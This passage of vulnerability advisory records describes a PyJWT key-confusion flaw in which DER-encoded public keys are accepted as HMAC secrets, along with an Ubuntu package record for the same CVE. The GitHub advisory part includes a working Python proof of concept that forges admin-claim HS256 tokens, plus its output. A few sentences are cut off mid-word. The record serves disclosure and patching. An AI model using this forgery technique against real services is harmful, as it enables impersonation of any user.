GHSA-ffqj-6fqr-9h24, covering PEM and SSH.\n- Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.\n- DER has never been covered.\n\nApplications that use `PyJWK` or `PyJWKClient` are not affected. `jwt/api_jws.py:395` binds the header `alg` to the key\u0027s own algorithm, so HS256 never reaches `HMACAlgorithm.prepare_key` on that path.\n\nSuggested fix: try to parse the bytes as a key and reject if parsing works. For example `load_der_public_key`, `load_der_private_key` and `load_der_x509_certificate` in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.\n\n### PoC\n\nTested on 2.4.0, on 2.13.0, and on main at commit `7144e4534`. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.\n\n```console\npip install \"pyjwt==2.13.0\" cryptography\npython poc.py\n```\n\nNo special configuration is needed. The script builds its own key.\n\n```python\nimport base64\nimport hashlib\nimport hmac\nimport json\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives.serialization import Encoding, PublicFormat\n\npub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()\npem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)\nder = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)\nder_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)\n\n\ndef b64(raw):\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\")\n\n\ndef forge(secret):\n    # The attacker does not use PyJWT. They only need the public key bytes.\n    head = b64(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\n    body = b64(json.dumps({\"user\": \"admin\", \"role\": \"admin\"}).encode())\n    signing_input = head + b\".\" + body\n    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()\n    return (signing_input + b\".\" + b64(sig)).decode()\n\n\n# PEM form is rejected, as expected since CVE-2022-29217.\ntry:\n    jwt.decode(forge(pem), pem, algorithms=[\"RS256\", \"HS256\"])\nexcept jwt.exceptions.InvalidKeyError as exc:\n    print(\"PEM rejected:\", exc)\n\n# Same key, DER form. The forged token verifies.\nprint(\"DER SPKI accepted:\", jwt.decode(forge(der), der, algorithms=[\"RS256\", \"HS256\"]))\nprint(\"DER PKCS#1 accepted:\", jwt.decode(forge(der_pkcs1), der_pkcs1, algorithms=[\"RS256\", \"HS256\"]))\n```\n\nOutput:\n\n```\nPEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s\nDER SPKI accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\nDER PKCS#1 accepted: {\u0027user\u0027: \u0027admin\u0027, \u0027role\u0027: \u0027admin\u0027}\n```\n\nThe token is signed with plain `hmac`, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.\n\nWe also have a regression test written in your pytest style. It uses your own `tests/keys` fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.\n\n### Impact\n\nKey confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.\n\nWho is affected: applications that verify tokens with an asymmetric public key, also list an HS\\* algorithm  pass that public key to `jwt.decode` as DER bytes.\n\nWhat an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They  is public, and they re-encode it to DER. Nothing secret has to be stolen first.\n\nWhat limits it: the application must already be in the mixed HS\\* and RS\\* misconfiguration. It must also hoEM is the more common form and is still blocked. Users of `PyJWK` and `PyJWKClient` are not affected.\n\n\n\u003e Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS* and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.prepare_key now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
  "id": "GHSA-p4g4-x82p-q773",
  "modified": "2026-09-29T23:14:33Z",
  "published": "2026-09-29T23:14:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102271"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard"
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python-jwt",
            "binary_version": "1.3.0-1ubuntu0.1+esm2"
          },
          {
            "binary_name": "python3-jwt",
            "binary_version": "1.3.0-1ubuntu0.1+esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:16.04:LTS",
        "name": "pyjwt",
        "purl": "pkg:deb/ubuntu/pyjwt@1.3.0-1ubuntu0.1+esm2?arch=source\u0026distro=esm-infra-legacy/xenial"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0-0ubuntu1",
        "1.3.0-1",
        "1.3.0-1ubuntu0.1",
        "1.3.0-1ubuntu0.1+esm1",
        "1.3.0-1ubuntu0.1+esm2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python-jwt",
            "binary_version": "1.5.3+ds1-1ubuntu0.1+esm2"
          },
          {
            "binary_name": "python3-jwt",
            "binary_version": "1.5.3+ds1-1ubuntu0.1+esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:18.04:LTS",
        "name": "pyjwt",
        "purl": "pkg:deb/ubuntu/pyjwt@1.5.3+ds1-1ubuntu0.1+esm2?arch=source\u0026distro=esm-infra/bionic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.4.2-1.1",
        "1.5.3+ds1-1",
        "1.5.3+ds1-1ubuntu0.1",
        "1.5.3+ds1-1ubuntu0.1+esm1",
        "1.5.3+ds1-1ubuntu0.1+esm2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-jwt",
            "binary_version": "1.7.1-2ubuntu2.1+esm2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:20.04:LTS",
        "name": "pyjwt",
        "purl": "pkg:deb/ubuntu/pyjwt@1.7.1-2ubuntu2.1+esm2?arch=source\u0026distro=esm-infra/focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.7.0-2",
        "1.7.1-1",
        "1.7.1-2ubuntu1",
        "1.7.1-2ubuntu2",
        "1.7.1-2ubuntu2.1",
        "1.7.1-2ubuntu2.1+esm1",
        "1.7.1-2ubuntu2.1+esm2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-jwt",
            "binary_version": "2.3.0-1ubuntu0.4"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:22.04:LTS",
        "name": "pyjwt",
        "purl": "pkg:deb/ubuntu/pyjwt@2.3.0-1ubuntu0.4?arch=source\u0026distro=jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.7.1-2ubuntu2",
        "2.1.0-1",
        "2.3.0-1",
        "2.3.0-1ubuntu0.1",
        "2.3.0-1ubuntu0.2",
        "2.3.0-1ubuntu0.3",
        "2.3.0-1ubuntu0.4"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-jwt",
            "binary_version": "2.7.0-1ubuntu0.2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:24.04:LTS",
        "name": "pyjwt",
        "purl": "pkg:deb/ubuntu/pyjwt@2.7.0-1ubuntu0.2?arch=source\u0026distro=noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.7.0-1",
        "2.7.0-1ubuntu0.1",
        "2.7.0-1ubuntu0.2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-jwt",
            "binary_version": "2.10.1-4ubuntu1.1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "pyjwt",
        "purl": "pkg:deb/ubuntu/pyjwt@2.10.1-4ubuntu1.1?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.10.1-2",
        "2.10.1-3",
        "2.10.1-3build1",
        "2.10.1-4",
        "2.10.1-4ubuntu1",
        "2.10.1-4ubuntu1.1"
      ]
    }
  ],
  "aliases": [],
  "details": "PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.",
  "id": "UBUNTU-CVE-2026-102271",
  "modified": "2026-09-29T00:00:00Z",
  "published": "2026-09-29T00:00:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-102271"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-102271"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-p4g4-x82p-q773"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/jpadilla/pyjwt/commit/2798504fa2663364573cf2d1043d8d7fef389499"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-102271"
  ]
}